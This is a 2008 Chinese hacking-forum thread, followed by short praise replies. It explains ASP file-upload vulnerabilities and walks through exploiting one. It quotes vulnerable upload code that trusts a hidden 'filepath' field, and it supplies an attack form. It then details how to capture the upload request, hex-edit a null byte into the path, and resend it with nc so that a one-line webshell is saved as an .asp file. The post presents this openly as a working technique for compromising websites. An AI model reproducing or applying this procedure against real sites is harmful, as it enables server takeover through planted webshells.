查看完整版本: 上传漏洞的原理和具体利用方法

610548422 2008-6-10 12:35

上传漏洞的原理和具体利用方法

话说上传漏洞再前几年很流行,也很有用啊,很多的站点都被搞的很惨,相信很多的兄弟也用过吧,可是可能还有其他的兄弟不会用,或者不知道原理,直接用工具的吧。那就往看下。
知道的也复习下吧


首先说说上传漏洞的概念吧,我觉得上传漏洞就是利用上传文件直接得到WEBSHELL。

关于上传漏洞,主要是过滤不严引起的
1.对上传的路径过滤不严
2.对上传的文件名过滤不严

我只具体说下对路径过滤不严漏洞,等有空再说文件名过滤不严的漏洞

我在网上找到了一个存在路径过滤不严的程序了。
下面看看存在上传漏洞的文件upfile.asp的代码:

[code]
<!--#include FILE="../admin/inc/upload.inc"-->
…………
<%
response.write "<FONT color=blue>"&upNum&"</font>"
dim upload,file,formName,formPath,iCount,filename,fileExt
set upload=new upload_5xSoft ''建立上传对象

formPath=upload.form("filepath")      '取得上传后要保存的路径  这句重要

if right(formPath,1)<>"/" then formPath=formPath&"/"  '在目录后加(/)


for each formName in upload.file ''列出所有上传了的文件
set file=upload.file(formName)  ''生成一个文件对象
…………
fileExt=lcase(right(file.filename,4))  ‘取上传文件名(包括格式)的最后4个字符,要是文件正常的话,就是“.”加上文件的格式,如xxx.jpg,fileExt就是“.jpg”

if fileEXT<>".gif" and fileEXT<>".jpg" and fileEXT<>".zip" and fileEXT<>".rar" and fileEXT<>".swf" then  ‘文件的格式必须是jpg,gif,zip,rar
    response.write "<font size=2>文件格式不正确 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</font>"
    response.end
end if

randomize
ranNum=int(90000*rnd)+10000        ‘取个随机5位数
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt      ‘生成文件名  等于formpath+年分+月分+日期+小时+分+秒+s随机生成的5位数+fileEXT
………………
if file.FileSize>0 then        ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(FileName)  ''保存文件    这一句重要
         
'response.write file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 成功!<br>"

end if
set file=nothing
next
set upload=nothing  ''删除此对象
…………
%>
[/code]



部分代码删除了,有的地方我做了注释,其中这两句重要:
1. formPath=upload.form("filepath"),它是取得文件要保存路径,而我们要构造也就是filepahth这个变量,由于filepaht这个变量是在其他地方调用的,所以被认为是安全的,没有任何过滤,而且是以<input type=”hidden” name=”filepaht”>的:如

[attach]18740[/attach]

2.file.SaveAs Server.mappath(FileName)  ''保存文件    这一句重要,就是保存一句话木马文件

让我们看看漏洞是怎么形成的吧
当我们上传xxx.jpg的时候,还有filepaht变量为upimg一起上传了,所以经过这句
formPath=upload.form("filepath")
formpaht =upimg,
再经过这句
filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&fileExt

filename=upimg/200811215541099645.jpg,然后文件再保存,看起来是没问题,因为filepath是有程序自己控制的,但是我们也可以控制它,让它变成我们想要的值

还有一点要了解,就是计算机内的字符数据是以数据00结尾的,好了知道了这点就可以下面的利用过程了

我们可以讲filepaht变成/mm.asp (空格这里表示二进制数据00),所以经过
formpaht=/mm.asp (注意最后面个空格表示二进制00数据)
filename= /mm.asp /200811215541099645.jpg
由于再保存的时候二进制00数据后面的都被舍了,所以就保存为/mm.asp了

看看具体利用

首先构造个提交的HTML文件
输入下面的代码:

[code]
<form method="post" action="http://127.0.0.1/ads/upfile.asp" enctype="multipart/form-data">
<input name="filepath" type="text" value="">
<input name="mm" type="file">
<input type="submit" name="submit" value="提交">
</form>
[/code]
好了,在写个一句话,保存为JPG格式,现在打开上传的HTML文件,在第一个文本里输入:/ting.asp.    记住后面有个点,方便我们后面修改
再选择刚才建立的JPG格式的一句话木马

[attach]18741[/attach]

再打开WSE工具,监听上传的HTML文件

[attach]18742[/attach]

现在点提交了,会出现错误,这是正常的,因为我们提交的filepath不合法


现在去看看监听到什么了


[attach]18743[/attach]


[attach]18744[/attach]

把这两个数据都复制在nc.txt文件里,记住一个字符也不能少,也不能多,包括换行和空格,
第二个数据要接着第一个数据的末尾处复制,否则,就会因为字数不对而失败


复制好了,在修改数据包,用winhex,找到/ting.asp.,将.字符对应的十六进制数据2e改为00(也就是'.'这个符号修改为NULL)


[attach]18745[/attach]

现在用nc提交吧


[attach]18746[/attach]


看上传成功了,从返回信息看,文件应该在[url=http://127.0.0.1/ads/ting.a][color=#2f5fa1]http://127.0.0.1/ads/ting.a[/color][/url],其实文件文件并不在[url=http://127.0.0.1/ads/ting.asp][color=#2f5fa1]http://127.0.0.1/ads/ting.asp[/color][/url],因为我提交的filepath=/mm.asp.  所以文件在保存时候,就被保存在根目录下,“/“表示网站的根目录,

我来看看

[attach]18747[/attach]


好了,到这里结束了

由于以前在一个论坛发过了,这次是直接复制的,而图片论坛程序加了他们的网址,所以我把图片的字涂了

maklolo 2008-6-27 22:16

::16:: 哇塞

经典!

顶下!

liu40107557 2008-6-28 00:14

好东西。顶起走。

endie 2008-6-28 14:09

r看得不是很懂,但还是顶下.::04::

xsidisx 2008-7-13 09:03

顶!!!!!!!!!!!!!!!!!!!!!

hanyue03 2008-7-15 00:12

:face7 :face7 :face7 顶了在看

7300944 2008-7-21 21:04

顶!!!!!!!!!!!!!

hahahei 2008-8-4 08:55

看了就顶::04::
页: [1]
查看完整版本: 上传漏洞的原理和具体利用方法